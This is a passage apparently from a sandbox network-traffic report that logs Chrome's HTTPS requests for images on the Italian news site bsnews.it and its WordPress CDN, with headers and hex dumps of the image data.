Ms$ufzp#a@QtoQv';LzX6DSijh`\<&}zfov!/Xa~@UX}Xu^FcV'+<Zfm?0iF?OD]WDJ1aM[w}8\:A[<BHv<4D-j[WC+ifBA9)y\|
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 36 66 e2 18 5e f5 31 21 d1 19 41 41 84 f5 0a 99 0a 5f 3c 9b b4 ce 15 3c e7 17 76 1f b0 e8 70 24 90 eb 58 e7 3e ee eb 53 bf 3c c0 ec 46 2c 54 b3 4a 43 d8 65 18 58 f8 e0 ca a7 77 ae fb 2a b2 9c f6 1f 34 4e 07 8f e0 60 d5 6d 40 88 47 bc 08 79 13 d3 3b 92 af 6f f4 98 e3 95 c9 7b 15 f3 6b 92 45 43 49 10 df 56 c3 1b 64 91 0d 26 ae df 28 30 f7 df c8 73 93 1e fb ca 70 f4 c5 a0 24 cf ce dd bc 11 ee 25 db c3 84 a0 8e 3a 1c 98 eb 10 23 5a c8 ce 31 61 6c f8 de cb 91 be 99 db d2 a5 2b fa a5 44 12 1d 4b c9 c2 23 0b e5 33 22 52 59 fb f7 48 77 50 40 fb 06 82 98 01 ce 10 1b ec 89 9f 26 98 bf aa 32 48 79 47 1e d6 a5 91 51 9b 79 cb f0 f9 27 80 00 e0 b9 fd a4 d8 9c 8e 6c 2d ea f8 87 88 5c 37 87 9d 43 02 c9 26 5c 0a 51 3b 86 69 9d 25 ed 1c c3 7b d9 d3 d6 60 92 57 6e e0 ef 49 Data Ascii: 6f^1!AA_<<vp$X>S<F,TJCeXw*4N`m@Gy;o{kECIVd&(0sp$%:#Z1al+DK#3"RYHwP@&2HyGQy'l-\7C&\Q;i%{`WnI
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 06 32 83 65 6d d0 70 d0 31 7f 85 52 85 41 14 0e 64 38 c4 28 3f a5 0d a6 a9 ee 13 6d 16 6e 2a c5 0a 0c 91 24 3a 0e a3 5a 61 5a 1b ff 22 78 a4 56 0d 20 ba 0e cd ab 43 a7 18 7f 61 13 a4 3f 69 e2 f3 76 7e 56 e7 be 14 84 f4 50 2d 7a e7 4c 3c b5 54 71 e7 1e 75 8a 8c 11 08 71 97 80 99 f7 28 2a 71 29 51 2d b7 c4 0b a7 70 2f a2 62 0b 4a de fb c6 e7 2b 49 09 11 3c ea b4 9b ed be 51 25 cb b0 83 cc 92 e8 83 40 5b 2b 9f 68 ad f5 5d 01 94 db 79 c4 8c 02 5b 8a da b4 0c 00 74 53 08 ff 69 0d 0f 11 86 65 2d a3 70 25 2b ca 04 fd 9c fc 40 17 00 50 a0 8f 98 23 fb 8f 44 d6 10 fd 30 b0 88 ea f5 c0 47 ad f4 94 8e 7c 96 26 17 ec 40 4f f7 2d af 8c ea 9b d8 0b 4d dc 0d 09 6e 53 58 db 10 ec 4e 9d 88 84 5d 75 8b 6f 9a c8 ba 56 8c ed 5a 8a 9f d6 de 88 a9 53 f6 5e 94 bf 95 f3 50 08 2c Data Ascii: 2emp1RAd8(?mn$:ZaZ"xV Ca?iv~VP-zL<Tquq(q)Q-p/bJ+I<Q%@[+h]y[tSie-p%+@P#D0G\|&@O-MnSXN]uoVZS^P,
2024-03-28 08:51:08 UTC	182	IN	Data Raw: 77 ed 76 b4 1b 9a c3 7b fb 09 cf 61 9c c7 58 d0 1f 40 65 af 2d cd da c9 28 95 cf 79 ff c2 89 bb 47 f5 fa 5c 09 a6 c3 04 c9 e1 a4 bc 2b 27 43 2c 78 f6 d5 45 26 30 ac c0 83 e4 ef 8f 53 9a f4 a8 de 90 11 6a a0 01 ca e9 06 09 67 45 8b fb bc b6 e4 89 92 58 2e 12 5c 4b 0f 85 b5 22 54 3f fd 69 f4 c6 1d 60 13 59 ed 55 27 a6 f3 95 6f 4d 8d 12 82 b2 3d 32 d3 e1 cc 0b 5a 65 55 c1 77 4a 38 b9 e9 58 31 e7 b5 ba 40 33 33 54 a1 0b 73 5e f2 a2 06 ef 26 40 4c 89 42 e3 61 18 a8 1f 9b a1 06 07 b0 b5 d3 66 c8 74 e2 96 08 6d 6f 55 12 17 1f 22 cf 00 a7 20 00 00 Data Ascii: wv{aX@e-(yG\+'C,xE&0SjgEX.\K"T?i`YU'oM=2ZeUwJ8X1@33Ts^&@LBaftmoU"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49855	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 7798 Connection: close Last-Modified: Wed, 27 Mar 2024 09:16:13 GMT Expires: Fri, 27 Mar 2026 21:16:13 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "77de04b516018396" Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	798	IN	Data Raw: 52 49 46 46 6e 1e 00 00 57 45 42 50 56 50 38 20 62 1e 00 00 30 77 00 9d 01 2a 44 01 a0 00 3e 6d 32 93 47 24 23 21 a1 29 d5 ca e8 80 0d 89 65 6d 08 9f 57 81 2f fd ce 0b 00 4b f0 cc 57 53 e2 61 af 78 b3 e8 f9 80 e9 ef ea 5a ef 32 05 67 d1 36 2a c4 9a e2 5d b2 fe f7 e0 f5 b8 2f db f1 99 cd 07 ed 0a 03 3f d8 f1 80 f4 de 98 af f7 bc 80 7e ef f9 d3 f0 33 fd a3 fe 77 a6 d7 ff ff 76 fe 92 a6 0a 11 a6 21 a3 d8 88 c1 09 f4 ad d9 3b 85 61 2a 2a a5 63 cb 9f 4c 37 b0 65 8f db c8 b8 0c 72 fe 1b 20 8c 06 46 39 4e bf 02 9c e0 9c de ea ca e6 86 1e 00 26 83 b0 4f 41 51 6c 20 0a b0 92 9a a2 0a aa 55 07 ba 5e b7 51 ab 64 9a 85 dc 30 1e 46 a7 c0 4c f8 b5 65 f1 06 32 e5 28 90 db 58 fa 8c ea 5f f5 05 88 be 21 85 25 c8 66 b3 61 b7 e6 3f 55 e9 a1 a3 60 3a e8 19 9c 6c 64 7c 3f e4 Data Ascii: RIFFnWEBPVP8 b0wD>m2G$#!)emW/KWSaxZ2g6]/?~3wv!;a**cL7er F9N&OAQl U^Qd0FLe2(X_!%fa?U`:ld\|?
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 99 62 97 df e1 f7 d9 67 e7 a9 d6 26 47 6c c3 15 9e d0 ed 3a 79 cd 99 62 0a b6 26 f3 e9 8c 24 bc d2 d1 a0 ec 58 30 aa 6c 73 4a 00 bf 14 1d 82 69 aa 22 7b b6 e5 02 99 60 4f 74 17 21 af 6e cf 56 42 25 04 ec 4d d8 44 74 03 33 8d 9a b1 8c 1c 78 61 76 fe 0a fe 68 52 e4 30 d7 1f cb 2c d0 b6 93 56 c1 5f a1 ca b5 75 e8 ae d7 40 c9 e2 1d 0a d6 49 42 1d cf 7d af 58 c0 1c 23 ca 31 5e 9a 1e 69 af 83 ee 31 e9 54 03 ed 60 55 f7 fe 08 17 7a 15 b5 ec 5a 73 dd 90 42 b9 13 40 c1 f9 f1 aa 1a 71 fe b9 d5 e4 60 b1 2d 95 7d 37 48 ce 62 11 29 6c c2 e9 08 af ab b3 fb 80 00 fe dd 4f 65 97 34 7b d8 1d a5 ff 91 d1 55 d3 fa 75 d3 05 d4 07 8a 41 7f 82 6b c6 24 e7 3b 33 bd 6b fd 85 3f d3 48 84 6a 7f 0e 7a fb 2f 90 09 6d d5 8f 7d 7d 5d 07 28 7a b6 0b 19 aa 63 d8 57 9b df 9b 8e e1 9b 5d Data Ascii: bg&Gl:yb&$X0lsJi"{`Ot!nVB%MDt3xavhR0,V_u@IB}X#1^i1T`UzZsB@q`-}7Hb)lOe4{UuAk$;3k?Hjz/m}}](zcW]
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 58 8a 03 f4 2e 70 4f 8a ec d7 10 a5 26 71 a2 a8 54 78 48 36 48 c1 f6 c3 6a de 71 c3 ac 67 8c e4 fa 71 4d f0 f4 47 e3 76 0d 10 2d 45 40 e0 89 13 75 a8 65 ec f5 1e 41 71 29 96 a6 ed 59 5c 56 37 31 1e f4 f2 b4 49 e4 20 d1 89 1d f1 21 14 07 a8 9d cb 30 49 f1 33 14 4f d8 c6 68 e0 03 df b4 28 09 d2 d6 5a 6d 8a d2 68 8e ce d7 53 01 ac b5 36 ea f0 21 83 ab 9a 1e 2d 85 20 e3 fa 5b 6a c4 08 b0 db c5 09 8b 64 f7 8a 3f 96 4b 4b 22 11 a8 b1 2e 1e 81 2d 34 63 05 98 df 78 9b 07 fa a7 bb 28 0e eb ad 15 46 28 ad 18 c9 65 12 72 03 59 07 6e 4d 0b a0 bf bd ab 4e 0c 79 66 0a 13 a9 30 86 a4 34 11 db 34 a1 ff a2 e9 d6 35 9c cc 49 f2 97 f1 41 2c 15 43 28 dc 22 ca 6e 60 ae c2 e1 81 4c 58 3a ca 69 3a 6a 74 78 09 d9 1b 54 a4 e3 53 e3 72 0b 5e 32 1f 19 59 f9 b6 bf 04 15 26 aa 52 7c Data Ascii: X.pO&qTxH6HjqgqMGv-E@ueAq)Y\V71I !0I3Oh(ZmhS6!- [jd?KK".-4cx(F(erYnMNyf0445IA,C("n`LX:i:jtxTSr^2Y&R\|
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 68 33 09 67 d0 ec 4d 43 6c 74 57 73 8d 0b b7 a8 0f 87 43 fc 9e 86 2c 02 58 82 18 42 05 a8 6e 87 86 0d f4 b8 35 da 51 4c 9f 0f c6 bd 7e 8b 2c 89 cc 45 7a 2c 4c c7 4e f2 bb 38 07 8e a3 2b 3e 17 f3 a7 41 70 99 a1 f5 2a dc 99 33 cf d9 3c 32 40 c7 24 d0 14 05 5e 63 6b f3 28 f2 4a b3 4c 99 6c 53 a0 08 8d 34 4e bf 59 8b 49 75 74 b6 86 4d 74 4e cb 21 34 1d 91 a9 8f c9 e6 0d 43 b9 dd 22 34 27 4f 1a 9b 75 7b c2 2d 27 78 0d e1 4e fe 42 8c 58 5a 4b ff d3 5b 21 c5 05 87 43 e9 0a ce 03 8a 6c a3 89 df 27 77 9b 40 a4 eb 3f 4c 32 58 82 aa 4e 56 f9 d2 db e2 6b 7b 17 d7 87 62 33 7c 01 54 a1 d8 db c7 1e 4c 66 b5 42 6a 56 8e 26 71 77 db 2e 4c 88 5e e2 83 77 94 24 87 db 02 34 e8 5a 17 1a e4 d3 e0 f0 4c a5 64 1e 30 65 a5 60 27 bc 2a 1c e1 04 08 01 94 36 22 70 73 31 3e 26 1f de Data Ascii: h3gMCltWsC,XBn5QL~,Ez,LN8+>Ap3<2@$^ck(JLlS4NYIutMtN!4C"4'Ou{-'xNBXZK[!Cl'w@?L2XNVk{b3\|TLfBjV&qw.L^w$4ZLd0e`'6"ps1>&
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 56 2b 5e 01 2f da 78 27 84 6e 35 32 83 ef 82 ec 94 76 ae b7 8b f0 4e 92 69 2e 98 df 74 48 a2 60 45 d5 76 23 ce 45 8b b2 1a f4 cb ff 5f 8d c8 4e 8c a3 5b 34 72 a7 9b ef d3 b5 af d6 f3 38 85 b4 90 79 6b 64 24 3c 37 b0 18 52 7e b9 7f 3d 1d c7 8e e9 1b b2 d8 34 26 1d 8a 1f 71 b6 a6 a6 ad d5 9e 33 47 29 a6 ff 4a d2 2b 0c 59 d6 cd d4 71 41 7d ab 72 ef fc 42 17 be 82 d4 af 5c 71 ab 32 6b fa 03 46 a1 c5 af dd f3 3f ec d8 2a c5 b5 87 5a 96 60 80 d3 6d ed ab 3d ff 93 04 5e d3 da c0 b1 dd a4 08 82 c4 ad fd 32 c6 8a 28 ba ba c7 a9 46 92 6a 27 03 d5 ad 4d f6 21 b6 0f 83 5c ea 6d 90 92 2f b0 39 4e ff ae 5a 20 d1 81 89 2c 46 48 fd ff e0 a0 9a b3 75 9f f1 31 b4 a5 bc 40 2a b0 b8 f4 2d f0 7e ef a6 b2 98 c4 57 28 cc e8 b8 19 c7 e3 80 fa ba 6d ea 3c 41 6a f8 e4 33 98 c0 44 Data Ascii: V+^/x'n52vNi.tH`Ev#E_N[4r8ykd$<7R~=4&q3G)J+YqA}rB\q2kF?Z`m=^2(Fj'M!\m/9NZ ,FHu1@-~W(m<Aj3D
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 1a de 19 bb 09 ea e2 35 72 71 84 81 aa b0 4e 50 e0 4e a2 d3 67 d1 e9 2d e9 7e cd 4e c4 93 7e 45 4b 46 68 dc 63 1b 9e 4b 53 df d8 7e 5e 69 f4 11 62 e1 77 57 13 75 d9 39 13 b3 04 96 f8 c1 63 9b 91 65 12 3d 94 0a d4 ec 6a db 38 64 e5 da a9 b0 7a c0 d8 c5 41 1e 44 e0 fe ac eb e5 45 f2 1a cd ed 5b d6 45 33 41 6d 88 64 84 72 23 07 3a 1f 51 28 e8 30 2e 9a 15 1e 7e c5 87 e5 ea d6 ff ac 3e cf 22 39 9c 6a 8a 35 a9 4a 91 fa 48 b9 6c 12 4c b2 18 d2 45 e5 9f 4f 5e a9 c0 43 9b 53 3a 0f f6 1c a8 1a c1 c6 18 aa b5 24 3f d8 61 fb 11 c4 46 74 28 c0 36 25 e6 e8 e8 cd a5 55 69 78 ac 0b 47 ef 3d 40 4b 50 f8 e4 4b 6f 07 fb 75 ae df fa 09 83 1a 85 b0 45 fe fd 65 05 5d 1b e8 36 ac 23 98 55 de a9 df 03 d9 c8 c5 0c af 5a 0c 54 5c dc b4 49 35 57 2b 54 33 f5 04 9a 6e a7 77 17 e2 0f Data Ascii: 5rqNPNg-~N~EKFhcKS~^ibwWu9ce=j8dzADE[E3Amdr#:Q(0.~>"9j5JHlLEO^CS:$?aFt(6%UixG=@KPKouEe]6#UZT\I5W+T3nw
2024-03-28 08:51:08 UTC	155	IN	Data Raw: 8b 31 35 36 6f c3 d9 5a d9 a1 a8 a3 0b 1e 23 a7 22 bf b1 3f b5 ec df bb 3f bd 47 1d ee c2 49 5c d2 a8 1b 75 b7 5d 1d cd e2 6c 81 f1 17 19 1e 24 af 6c 85 06 3d d1 43 0a 48 c7 82 ea 28 1e e2 50 82 ee 21 1a 01 8a 2f 10 4b af 01 8f 2d bd 7e 43 54 be 42 7d 23 74 88 dd a7 08 54 82 64 c5 95 c1 0a b9 ef dc 84 e5 f4 f8 0a 34 58 c7 66 ae d3 b1 35 e7 96 41 07 9d 4b 82 04 44 85 6e 48 2c 2d 36 70 e0 ca 7b f1 b2 d1 73 13 3e b7 92 ee 36 37 65 32 d5 6c 53 8a cb e0 a1 e0 00 00 Data Ascii: 156oZ#"??GI\u]l$l=CH(P!/K-~CTB}#tTd4Xf5AKDnH,-6p{s>67e2lS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49858	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 8460 Connection: close Last-Modified: Wed, 27 Mar 2024 09:16:13 GMT Expires: Fri, 27 Mar 2026 21:16:13 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "9536f58d2fe3ad29" Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	798	IN	Data Raw: 52 49 46 46 04 21 00 00 57 45 42 50 56 50 38 20 f8 20 00 00 70 83 00 9d 01 2a 44 01 a0 00 3e 6d 2e 94 47 a4 22 22 23 a5 b1 cd 78 80 0d 89 65 6d a5 30 0c 7e cb ea af fb fc 94 3e 59 c7 ad 8f 2f 5d e6 bf 63 5f 4f bc df 7f e9 7b 01 f3 1b e7 b5 63 47 6b 97 cc 1f e1 f8 83 e7 43 e6 d3 00 b8 bf b7 5e 86 f4 a7 c0 bf 94 1a 85 e2 3f fa ae f3 8d d7 fd 97 a0 77 bb 5f 74 f3 de fb af 39 7f 94 ff 49 cb 9d e2 59 f8 8f f6 be c0 9f d2 ff c8 7a 2b fd 73 e9 2f ea cf fe 5f e8 fe 05 7a 4c fe e4 fb 19 7e b9 ff f9 37 81 e6 45 8a 1a 55 ff bc 96 9b 42 df 9b 0d ac 7b 00 c0 24 22 9b 77 9b e8 95 72 bd 39 3b ff 55 ce a4 6b 95 2a 44 66 3d ae ec 1b 61 1a 7f d3 2a be 79 06 ee 8c be c2 1c e5 79 e7 5e 0d 87 73 8e 06 38 58 79 ef 2e c1 ee f1 ad 2e 1e da 28 73 18 b5 10 2b a2 2c 88 fb 56 36 e3 Data Ascii: RIFF!WEBPVP8 pD>m.G""#xem0~>Y/]c_O{cGkC^?w_t9IYz+s/_zL~7EUB{$"wr9;UkDf=a*yy^s8Xy..(s+,V6
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: da 30 6e b3 31 7f c6 f6 96 6d 34 ce ac 3e c4 e2 11 7e 3e 7e 9f c9 aa 52 f5 7f 7d 4f e2 2d 24 e3 ba 91 f9 68 76 f9 46 2c bc be 60 26 1e 5c a3 31 12 12 9e 2a a4 ea 90 7f b2 58 8c 51 6f 00 46 f4 b0 10 53 b4 f9 7f 97 3c 4f d2 0d 6c 65 57 b0 16 cc af 28 76 be 7f 7c 24 87 28 1b fd 62 87 25 d3 99 f9 74 80 f9 65 dc 1d ce 79 49 f6 40 b7 f2 b0 25 80 73 44 18 f7 2d 82 ed 24 41 7f 8b ab 8c ff c4 45 c3 c6 8b 04 e6 da 7f a8 ce af f5 d9 f2 7a 4d 23 ca fb 86 f5 05 33 64 21 35 82 2e fa 4b f8 8c 02 89 8f 4d fe ab 07 c9 f1 67 0a 93 6d 99 2d b5 bc 56 d4 9e 26 80 95 2d aa af ac b8 47 18 bf 06 8d d2 e7 8e 6b 61 ba 3a ff 1d a9 6f a2 76 a7 c1 38 54 da 55 34 fb 2b 6e 5e ad 1f 1d 24 7d 4b 48 b3 a1 3f 12 7b c4 b2 7d 84 41 bf b6 09 c2 16 3c da 37 3a a8 d8 23 ac c2 65 d3 0a 04 42 2d Data Ascii: 0n1m4>~>~R}O-$hvF,`&\1*XQoFS<OleW(v\|$(b%teyI@%sD-$AEzM#3d!5.KMgm-V&-Gka:ov8TU4+n^$}KH?{}A<7:#eB-
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 1c e2 2a 82 a3 e0 cc b4 ac 52 4d 50 0b 0d 44 e2 73 dd f7 af 9a 6e d2 7d b3 ac 98 3d 64 b3 19 f0 2c 2f dc 9f a9 da 85 2f e7 8c cf 91 f8 5e df 18 f3 a3 2c 02 9d 3b 73 cd 50 d1 ad 1d 33 19 c6 96 27 f6 34 e1 cc d2 bf c6 99 c9 19 d5 e2 5c 84 8e f9 16 77 78 19 22 a3 99 3b fb 47 b3 c0 f5 e5 be 2b 9c 1c 7d 1a 1f 7f 3c 5a be 0e 2c 11 a7 c6 ed d6 e2 e1 06 5a 89 0f 53 a6 76 cd e7 23 28 d7 76 c4 58 39 f6 c7 15 13 03 6c f1 09 8c 54 79 40 d1 0b 31 24 70 ae ec bb 4e 62 10 0d 65 a1 94 46 54 f7 2f 61 41 01 57 51 45 18 ca ec a6 dc 2d a5 4e 22 28 b8 5d 2a 4d b1 2b d3 ea a9 89 28 88 9a 65 a0 8e 52 ea e6 5f 92 8f f8 e4 09 34 9e 54 6c ab dc 44 65 b5 cb 88 d9 25 a8 a0 57 8f 30 2b 79 63 42 87 7c 6b 0d e7 d4 d2 0e 68 09 b2 49 b9 20 b7 da 4f 60 b1 c4 85 69 56 d2 e1 50 20 88 28 0d Data Ascii: RMPDsn}=d,//^,;sP3'4\wx";G+}<Z,ZSv#(vX9lTy@1$pNbeFT/aAWQE-N"(]M+(eR_4TlDe%W0+ycB\|khI O`iVP (
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: fe d1 f7 a1 a3 20 e9 8f 2b a8 db 31 57 fd 17 7d 76 16 30 61 5e e2 48 18 96 1b 42 5f ad 93 7a 28 e7 a9 74 bd 35 42 36 d2 aa ce 7a e4 58 d2 ae 01 db c2 ee 4c 30 fc ae a0 ee d2 f1 3e 1f 98 02 8f 44 fc d4 94 5b 7c d9 12 ce 96 b4 dd f1 55 6a 50 18 f7 67 60 50 18 72 d9 7d c9 cc c9 8a fd 6e b7 ee 47 75 04 20 a2 d0 20 ca e9 d4 2a 73 3c 60 7c 73 82 8d e6 35 09 bf 01 84 51 0b 73 a1 2e 35 d8 89 24 d1 70 d2 87 5a c3 07 53 f8 c7 3c 33 e0 d2 3a 15 41 73 ac f8 32 c2 57 5e d1 23 86 14 13 18 ca f5 ea 45 20 6e b2 b0 67 60 71 cc 25 46 9a 6e 7d 42 34 60 81 4f 19 14 76 28 9d 6d 58 c0 6c 68 cb 5f 16 1a 6a 77 43 b2 8c 04 78 f2 f4 76 24 ab fa f4 18 34 ba cf 13 a2 ef ed fb a3 bc 91 73 4a 7a 5a 0a 11 49 cd 07 4c 61 d5 d0 71 b9 75 53 c0 2d b0 2b 39 63 e6 87 54 df 47 8d 67 79 36 0c Data Ascii: +1W}v0a^HB_z(t5B6zXL0>D[\|UjPg`Pr}nGu *s<`\|s5Qs.5$pZS<3:As2W^#E ng`q%Fn}B4`Ov(mXlh_jwCxv$4sJzZILaquS-+9cTGgy6
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 0b 8e a8 1c 40 87 4d 20 4b b5 90 e2 6e 3c b1 ca 9c ed c8 95 63 0d 59 6a 0c 18 d5 f3 9f 7c 52 b5 d6 c7 2b de 2a 63 17 bc 52 f7 12 9c 33 12 4b 91 cb 5a cc 48 45 16 6f 5f 93 4e 0f 30 29 a7 c2 2b 61 4f b8 ef fb 89 48 99 cf dc 83 17 79 a9 b2 9d 62 db aa 8d b0 65 7b 59 15 f5 b8 af a1 de e2 72 d1 00 fe 2c e4 46 28 70 70 ff d1 2a 88 ae 09 e2 39 d4 33 8f 49 3d 34 12 87 ae a3 d9 39 d6 83 4a c3 83 1d 11 57 6f c6 6c f4 93 ac d5 d0 4c 94 2e ff c3 a9 41 12 9c 69 3d 95 e7 bd e1 08 a7 5d d6 aa 23 e3 51 70 99 7d 47 df 8e cf 5d 11 09 b7 87 d8 85 bf e6 0f cb fb 33 b8 7d a4 f9 66 05 ae 6f 1d de 6f a6 25 02 06 69 34 c1 0f 08 dc da 46 9d d5 fa 82 75 8c ed 68 6d 09 b7 71 18 fd 82 2b 14 92 c2 32 d3 1c 4d 0b a6 0d 95 c5 48 54 e0 1a b3 8e c5 86 58 50 71 38 d0 9b 03 07 c2 01 dc a2 Data Ascii: @M Kn<cYj\|R+cR3KZHEo_N0)+aOHybe{Yr,F(pp93I=49JWolL.Ai=]#Qp}G]3}foo%i4Fuhmq+2MHTXPq8
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 98 62 2f a1 bb 4a 68 52 a0 83 5f 75 6f 43 c9 59 d5 aa 4d 24 b1 63 fd e3 4c 5f 7f 09 e8 b5 69 7f 90 ad 70 05 e4 1b a1 0d 2a 62 3c 11 fe c5 57 4c d3 33 6a 85 44 5c 14 7b 7e c5 b6 68 f9 62 2c 32 b7 f6 61 9c 09 4c 61 55 92 e3 4f d9 2e 0f 29 30 a0 2c b7 c9 87 af 83 67 1b 26 4b f7 a6 d1 9d 36 50 aa 4f c1 6f 55 65 87 2e b0 c6 5c 44 ed 11 fe f1 09 64 58 d0 a8 06 a7 99 12 ac 06 2c 9d f0 b0 62 a5 a1 b9 7f 12 43 34 ad c1 12 59 d9 6f 21 88 f2 d9 70 c8 96 ab 53 96 72 c2 75 34 77 aa db 0d 59 da cf ec 18 d7 3c d9 cf 01 18 3e 31 de ab b7 d9 76 20 72 49 94 29 64 c8 53 ec 9a ed 62 62 bc 68 de e7 11 73 63 c7 c2 51 95 ca fa eb 12 5e 1b 71 b2 61 45 5f 15 b2 95 66 18 da cb cf 12 7e 48 40 1e 96 a8 50 09 09 ab 16 81 c0 77 df cf 47 69 54 3f 26 0d 0c 10 b8 a9 8c 00 36 a5 9b f0 3e Data Ascii: b/JhR_uoCYM$cL_ip*b<WL3jD\{~hb,2aLaUO.)0,g&K6POoUe.\DdX,bC4Yo!pSru4wY<>1v rI)dSbbhscQ^qaE_f~H@PwGiT?&6>
2024-03-28 08:51:08 UTC	817	IN	Data Raw: be df 19 cf ad 80 1a 00 8e 24 bc b0 ac 02 92 1f 17 c1 f4 fc 34 37 d6 2a ae 0e ee 71 8a ef 80 16 87 30 83 ee e6 d0 ad 0f 27 a6 8f 24 72 76 85 fb b0 92 be 76 84 65 e4 ec 91 bb a0 45 45 d8 47 dd e7 94 12 70 41 6a d9 1f 8e 05 42 38 87 90 d8 ab bf cf 58 03 e0 dc 9d 39 15 63 0a 01 c0 6a 97 36 19 75 b8 11 37 89 da b4 b4 e2 e1 c1 d4 b0 60 d1 e6 f8 90 a7 a8 6f 08 8a e1 da 9a 2f de aa c7 22 40 71 9b ec f5 b0 b3 92 b7 88 83 0f 1b 8d a2 c8 2c 7d 5b ac 36 72 32 4a 42 12 df ea 5d 73 75 df 3c ae ac e2 3e c8 9e 02 b9 e9 87 a0 03 cd f7 1e ca 72 0a 1b 22 5c 55 60 75 46 98 e1 be 64 09 2d 55 40 22 53 e6 fd bf d4 cf a5 27 6d 65 9f b4 4b fa 9d 26 aa 4e 68 78 3b 04 ff c5 e0 06 02 40 7f a6 8f c3 6b 23 33 77 68 72 d6 c8 d1 4b 2e 4a ad 1d e9 6e 57 0a 83 1c fb 98 32 fe 70 1c c3 fc Data Ascii: $47*q0'$rvveEEGpAjB8X9cj6u7`o/"@q,}[6r2JB]su<>r"\U`uFd-U@"S'meK&Nhx;@k#3whrK.JnW2p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49853	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	508	OUT	GET /wp-content/plugins/wp-polls/images/loading.gif HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
2024-03-28 08:51:08 UTC	701	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/gif Content-Length: 771 Connection: close last-modified: Thu, 10 Aug 2023 01:54:57 GMT etag: "64d44371-303" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3504 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IzSfGPGmm5W9x46C80KdmHuIoj%2Fs6p0JXgTvpa%2FO8RO7zpD1DiRhAJC%2F7P%2FZ4xLM%2B2O0L0vOjGqm1bzMI0IiHQ2X%2FLTE6kifn49rJKfmQ7SpgPXbmMafG1dyJG0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6606a6a7d82ff-IAD alt-svc: h3=":443"; ma=86400
